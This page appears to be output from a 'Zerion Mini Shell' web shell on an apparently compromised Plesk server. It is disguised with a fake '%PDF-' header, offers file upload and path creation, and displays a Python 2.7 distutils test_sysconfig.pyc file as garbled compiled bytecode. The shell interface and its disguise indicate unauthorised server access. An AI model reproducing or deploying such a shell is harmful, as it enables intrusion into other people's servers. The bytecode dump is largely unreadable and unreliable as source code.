%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyc

�
5}�ac@s�dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZmZde
jejfd��YZd	�Zed
kr�ejje��ndS(sTests for distutils.sysconfig.i����N(t	sysconfig(tget_default_compiler(tsupport(tTESTFNt	swap_itemtSysconfigTestCasecBs�eZd�Zd�Zd�Zd�Zd�Zd�Zej	e
�dkd�d��Zd	�Zd
�Z
d�Zejejd�d
�d��Zd�ZRS(cCs tt|�j�d|_dS(N(tsuperRtsetUptNonetmakefile(tself((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyRscCsC|jdk	r"tj|j�n|j�tt|�j�dS(N(R	Rtostunlinktcleanup_testfnRRttearDown(R
((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyRs
cCsTtjj}tjj|�r.tj|�n"tjj|�rPtj	|�ndS(N(
ttestttest_supportRRtpathtisfiletremovetisdirtshutiltrmtree(R
R((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyR
s
cCsitj�}|jtj�tjdt��td�}tjtt�}|j|jd�|�dS(NtprefixRt
platstdlib(Rtget_python_libtassertNotEqualRt
__import__tTruetassertEqualtget_path(R
tlib_dirt
_sysconfigtres((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyttest_get_python_lib"scCs]tj�}|jtjj|�|�tjj|d�}|jtjj|�|�dS(NsPython.h(Rtget_python_inct
assertTrueRRRtjoinR(R
tinc_dirtpython_h((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyttest_get_python_inc-scCs�ddd��Y}idd6dd6dd6d	d
6dd6d
d6dd6dd6}|�}ttj�}zHdtjd<x'|j�D]\}}|tj|<q�Wtj|�Wdtjj�tjj|�X|S(NtcompilercBseZdZd�ZRS(tunixc[s
||_dS(N(texes(R
tkw((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pytset_executables;s(t__name__t
__module__t
compiler_typeR-(((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyR)8stsc_artARtsc_cctCCtsc_cxxtCXXs--sc-arflagstARFLAGSs--sc-cflagstCFLAGSs
--sc-ccsharedtCCSHAREDtsc_ldsharedtLDSHAREDtsc_shutil_suffixtSORtCUSTOMIZED_OSX_COMPILER((tdictRt_config_varstitemstcustomize_compilertcleartupdate(R
R)tsysconfig_varstcomptold_varstkeytvalue((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyRB6s(
	

R*s+not testing if default compiler is not unixcCs]tj�dtjd<dtjd<dtjd<dtjd<d	tjd
<dtjd<d
tjd<dtjd<dtjd<|j�}|j|jdd�|j|jdd�|j|jdd�|j|jdd�|j|jdd�|j|jdd�|j|jdd�|j|jd�tjd=tjd=tjd=tjd=tjd
=tjd=tjd=tjd=tjd=|j�}|j|jdd �|j|jdd!�|j|jdd"�|j|jdd#�|j|jdd$�|j|jdd%�|j|jdd&�|j|jd�dS('Ntenv_arR2tenv_ccR4tenv_cpptCPPsenv_cxx --env-cxx-flagsR6tenv_ldsharedR;s
--env-ldflagstLDFLAGSs
--env-arflagsR7s--env-cflagsR8s--env-cppflagstCPPFLAGStarchiversenv_ar --env-arflagstpreprocessorsenv_cpp --env-cppflagsR)s.env_cc --sc-cflags --env-cflags --env-cppflagstcompiler_sos<env_cc --sc-cflags --env-cflags --env-cppflags --sc-ccsharedtcompiler_cxxt
linker_exet	linker_sos6env_ldshared --env-ldflags --env-cflags --env-cppflagsR<ssc_ar --sc-arflagsssc_cc -Essc_cc --sc-cflagsssc_cc --sc-cflags --sc-ccsharedR5R3R:(Rtget_config_varsRtenvironRBRR+tshared_lib_extension(R
RF((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyttest_customize_compilerXsf


















cCs�tjj|_t|jd�}z|jd�|jd�Wd|j�Xtj|j�}|j	|idd6dd6�dS(Ntws)CONFIG_ARGS=  '--arg1=optarg1' 'ENV=LIB'
sVAR=$OTHER
OTHER=foos'--arg1=optarg1' 'ENV=LIB'tCONFIG_ARGStfootOTHER(
RRRR	topentwritetcloseRtparse_makefileR(R
tfdtd((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyttest_parse_makefile_base�s
cCs�tjj|_t|jd�}z|jd�|jd�Wd|j�Xtj|j�}|j	|idd6dd6�dS(NR[s,CONFIG_ARGS=  '--arg1=optarg1' 'ENV=\$$LIB'
sVAR=$OTHER
OTHER=foos'--arg1=optarg1' 'ENV=\$LIB'R\R]R^(
RRRR	R_R`RaRRbR(R
RcRd((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyt"test_parse_makefile_literal_dollar�s
cCsTddl}|j|jd�tjd��|j|jd�tjd��dS(Ni����R8RO(RRtget_config_var(R
tglobal_sysconfig((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyttest_sysconfig_module�s"R>scompiler flags customizedcCssddl}tjd�r+|jd�n|j|jd�tjd��|j|jd�tjd��dS(Ni����R>scompiler flags customizedR;R4(RRgtskipTestR(R
Rh((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyttest_sysconfig_compiler_vars�s
"c	Cs�ttd��}|jtjd��WdQXtjttj	�tgdtj
dtjdt�}|j
�\}}|jd|jd|�dS(NR[sB                from distutils.core import Distribution
                config = Distribution().get_command_obj('config')
                # try_compile may pass or it may fail if no compiler
                # is found but it should not raise an exception.
                rc = config.try_compile('int x;')
                tstdouttstderrtuniversal_newlinesisSubprocess failed: (R_Rt
writelinesttextwraptdedentt
subprocesstPopentstrtsyst
executabletPIPEtSTDOUTRtcommunicateRt
returncode(R
tftptoutsterrs((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyt.test_customize_compiler_before_get_config_vars�s			(R.R/RRR
R"R(RBtunittestt
skipUnlessRRZReRfRitskipIfRRgRkR(((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyRs							"=		
	$cCs&tj�}|jtjt��|S(N(R�t	TestSuitetaddTestt	makeSuiteR(tsuite((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyt
test_suite�st__main__(t__doc__RRR�RRrRuRpt	distutilsRtdistutils.ccompilerRtdistutils.testsRttest.test_supportRRtEnvironGuardtTestCaseRR�R.Rtrun_unittest(((sG/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_sysconfig.pyt<module>s 	�	

Zerion Mini Shell 1.0